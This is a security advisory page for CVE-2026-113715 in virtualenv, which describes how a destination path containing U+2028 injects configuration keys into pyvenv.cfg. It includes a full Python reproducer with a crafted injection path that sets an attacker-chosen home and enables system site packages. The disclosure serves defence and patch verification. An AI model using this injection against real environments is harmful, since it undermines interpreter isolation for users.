virtualenv: Venv configuration readback can reinterpret path boundaries (CVE-2026-113715)
Published Last modified Sources: OSV, Hersteller, CVE.org
What is affected, what to do
Update Pypa Virtualenv to version 21.14.9.
- Affected
- Pypa Virtualenv
lt *..21.14.9
- Pypa Virtualenv
- Fixed in
- Pypa Virtualenv
21.14.9
- Pypa Virtualenv
Not sure whether and how you are affected? Ask a question about this vulnerability
Metrics
2.0
Priority
XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.
Source: Vendor (CNA), CVSS v4
2.0
CVSS v4
Severity Low on the scale from 0 to 10.
Source: OSV, Hersteller, CVE.org
0.1 %
EPSS score
Low — model estimates < 1% exploitation likelihood.
Source: FIRST EPSS, percentile 3.2
Show all metrics
- Severity
- Low
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 40.08 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
XIEM Effective CVSS
XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.
Read in glossary- 2.0 Methodology
CVSS v4
CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.
Read in glossary- 2.0
EPSS score
The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.
Read in glossary- 0.1 %
- Low — model estimates < 1% exploitation likelihood.
EPSS percentile
The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.
Read in glossary- 3.2
- Low — this CVE sits in the lower 10% of all CVEs scored today.
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-93
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Summary
The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.
Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Configuration readback by the stdlib venv creator.
Attacker-controlled input
An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.
Affected code
The relevant 21.14.8 source is in venv readback, configuration parser.
Mechanism
With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with
str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a
command = value without escaping every character that splitlines() recognizes as a line boundary. A destination
containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback.
Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.
Reproduction and evidence
The scanner used one destination value with U+2028 between home = /attacker/chosen,
include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the
value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed
on the same value wrote separate injected configuration lines and its interpreter reported
sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra
keys came from virtualenv's readback, not from the standard library's initial file alone.
The altered home can change which standard-library files the interpreter loads if an attacker also controls that
location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required,
either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in
20.0.0b1. PR #3426 rejects line-boundary characters before creation and
rebuilds the final configuration from selected settings.
Attack sequence
sequenceDiagram
participant A as Destination supplier
participant S as stdlib venv
participant V as virtualenv readback
participant C as Final pyvenv.cfg
participant P as Environment Python
A->>S: path contains U+2028 and home = /attacker/chosen
S->>C: write path inside command value
V->>C: read with splitlines()
V->>V: parse suffix as separate keys
V->>C: rewrite home and include-system-site-packages
P->>C: read injected keys on startup
C-->>P: sys._home changes and isolation is disabled
Reproducer files
The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
work = "/tmp/repro-venv-creator-cfg"
shutil.rmtree(work, ignore_errors=True)
# the attacker's input: the text of a destination path.
# U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
# The slashes only make nested directories; the last key, x, absorbs the rest of the path.
LS = "\u2028"
dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
base_python = os.path.realpath(shutil.which("python"))
real_home = os.path.dirname(base_python)
def pyvenv_cfg_lines(env):
# split on "\n" only, as the interpreter does
return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
def sys_home(env):
# site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
# control: the same path through the standard library alone
stdlib_env = dest + "-stdlib"
subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
# attack: the same path through virtualenv; --creator venv is the one non-default option
virtualenv_env = dest + "-virtualenv"
created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
if created.returncode != 0: # refusing such a destination is a valid fix
print("virtualenv refused the destination")
print("OK")
raise SystemExit
# check
stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
print("CONTROL python -m venv wrote pyvenv.cfg:")
for line in stdlib_cfg:
print(" " + ascii(line))
print(f"CONTROL python -m venv: sys._home = {stdlib_home}")
print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
for line in virtualenv_cfg:
print(" " + ascii(line))
print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
Impact
Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.
Fix: PR #3426.
Known mitigation
Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.
Affected release
- The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.
Source: OSV (Open Source Vulnerabilities), GitHub Security Advisories, NVD (NIST), cvelistv5
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| pypa | virtualenv |
|
|
| pip | virtualenv |
|
|
| pypi | virtualenv |
|
|
Vendors and products
Weakness classes (CWE)
CWE-93Improper Neutralization of CRLF Sequences ('CRLF Injection')
Base
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
Entry at MITRE CWE-93
References & sources
- github.compypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750ax_refsource_MISC, web
- github.compypa/virtualenv/pull/3426x_refsource_MISC, web
- github.compypa/virtualenv/releases/tag/21.14.9x_refsource_MISC, web
- github.compypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqfx_refsource_CONFIRM, web
- NVD (NIST)vuln/detail/CVE-2026-113715advisory
- github.compypa/virtualenvpackage
Reanalysis & status changes
Chronological NVD audit events for this CVE — reanalyses, CVSS updates, CPE diffs.
CVE Modified134c704f-9b21-4f2e-91b3-4a467353bcc0
- Reference: after https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf
- SSVC: after {"id":"CVE-2026-113715","role":"CISA Coordinator","options":[{"exploitation":"poc"},{"automatable":"no"},{"technicalI…
New CVE Receivedsecurity-advisories@github.com
- Description: after virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the stdlib venv creator reads generated pyvenv.cfg with str.splitlines() and merges parsed keys over virtualenv's selected configuration. An untrusted caller who influences the destination pathname can include a line-boundary character such as U+2028 to inject keys including home and include-system-site-packages, causing path data to change configuration structure before final output. Setting include-system-site-packages to true weakens environment isolation, while an altered home can change which standard-library files the interpreter loads if the attacker also controls that location. The builtin creator does not use this readback path. This issue is fixed in version 21.14.9.
- CVSS V4.0: after AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- CWE: after CWE-93
- Affected: after New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/113xxx/CVE-2026-113715.json">CVE-2026-113715</a>
Embed badge
Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.
<a href="https://intel.neosec.eu/en/cve/CVE-2026-113715"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-113715.svg?lang=en" alt="CVE-2026-113715 – NEOSEC Intel" height="20"></a>